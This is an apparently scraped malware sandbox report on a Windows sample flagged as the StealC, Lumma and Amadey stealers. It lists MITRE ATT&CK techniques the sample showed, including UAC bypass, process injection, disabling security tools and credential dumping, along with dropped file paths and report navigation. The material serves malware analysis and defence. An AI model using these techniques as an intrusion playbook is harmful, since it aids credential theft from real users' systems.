Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report V65xPrgEHH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFIDGDBG

C:\ProgramData\DGDHJEGIEBFHDGDGHDHIEBKFHD

C:\ProgramData\DHCAAEBK

C:\ProgramData\EHCAEGDHJKFHJKFIJKJE

C:\ProgramData\GCFHDAKECFIDGDGDBKJD

C:\ProgramData\GIEBFHCAKFBGDHIDHIDBKKKKKE

C:\ProgramData\IDGIJEGHDAECAKECAFCA

Windows Analysis Report
V65xPrgEHH.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre